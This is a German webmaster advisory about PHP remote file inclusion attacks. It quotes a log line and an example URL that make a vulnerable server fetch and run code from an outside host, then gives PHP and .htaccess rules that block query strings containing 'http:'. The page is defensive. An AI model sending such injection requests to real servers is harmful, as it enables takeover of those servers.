english            
Wenn Sie sowas in Ihren Logfiles finden:

"GET /page.php?x=http%3A%2F%2Fwww.alonsaunet.com%2Fwebmaster%2Fromi%2Fjirudog%2F"

Dann ist Ihr Server Opfer einer http-Inject Attacke.

Wahrscheinlich zeigt die obige URL auf eine Seite mit diesem Inhalt:
<?php echo md5("just_a_test"); ?>

Was Soll das ?

Ein Zombie Netzwerk versucht Ihren Server zu übernehmen,
wozu auch immer.

So funktionierts:

In PHP Programmen können Sie externe Files aus dem Internet
in Ihr Programm einbauen, z.b. so:

include 'http://www.example.com/file.php';

Sobald nun Sie (oder Ihr Content-Management System)
dies zusammen mit speziellen URL's verwendet,
ergibt sich das folgende Problem:


Wenn 'jemand' in seinem Browser eine URL wie z.B
http://www.example.com/page.php?URL=http%3A%2F%2Fwww.xxx.com/....hackerseite.php
eingibt, so wird der code von www.xxx.com/....hackerseite.php
auf IHREM Server ausgeführt.

das Resultat von

<?php echo md5("just_a_test"); ?>

ist "c6db3524fe71d6c576098805a07e79e4"

Na und ?


Wenn der 'jemand' keine Person, sondern ein Zombierechner
ist, so wird dieser alle möglichen URL's durchprobieren,
bis ein Zugriff auf die just_a_test Seite gelingt.

Die MD5-Summe c6db3524fe71d6c576098805a07e79e4 erscheint
nun irgendwo auf Ihrer Seite und der Angreifer weiss nun,
dass Ihr Server externe PHP Scripts ausführt.

Der Zombie sendet nun einen neuen http-request
mit PHP code, der Ihren Server infizieren kann.
Konkret versuchen die Hacker ein PHP-file auf Ihrem Server zu speichern, so dass eine externe Person beliebigen PHP-code auf Ihrem Server ausführen kann. Der Upload erfolgt mit einem einfachen Formular, wie man es z.B. beim Senden von Fotos kennt. Anschlessend wird das File mit der Funktion eval() ausgeführt. Sie werden dieses File nie zu Gesicht bekommen, da es sich im tmp-verzeichnis befindet und von PHP beim Ende der Session gelöscht wird. Das genügt dem Angreifer aber, um z.B. 10'000 oder mehr Mails in Ihrem Namen zu versenden oder mit Ihrem Server eine DOS-Attacke zu starten.

Was ist zu tun ?

Wenn Sie innerhalb Ihrer URL's (im Query_String) nirgens
'http:' verwenden, so können Sie einfach den untenstehenden
PHP-code am Anfang in alle Ihre PHP-Files schreiben:
<?
Header("X-Powered-by: safe_http");	// PHP-Version verstecken
if(preg_match("/http:/i", urldecode(getenv("REQUEST_URI").getenv("QUERY_STRING"))))
	{
	Header( "HTTP/1.1 503 Service Unavailable" );
	exit;
	}
?>
Solange der obige Code auf der ERSTEN Zeile steht, kann ihr Script keine externen
Seiten laden, weil es sich im Angriffsfall sofort mit einer leeren Seite verabschiedet.

Feedback

Wenn Sie Ihr .htaccess file selbst
ändern können, so ist die untenstehende
rewrite rule  403 FORBIDDEN die bessere Lösung:
RewriteEngine on
RewriteCond %{QUERY_STRING} http[:%] [NC]
RewriteRule .* /------------http----------- [F,NC]
RewriteRule http: /---------http----------- [F,NC]
Dies ist die schnellste Art und funktioniert für alle files und CMS Systeme.

RewriteEngine Infos für IIS Server finden Sie bei google oder wikipedia



Warnen Sie andere Webmaster mit einem Link zu dieser Seite:
<A HREF='http://www.whyron.com/httpd.htm'>safe_http</A>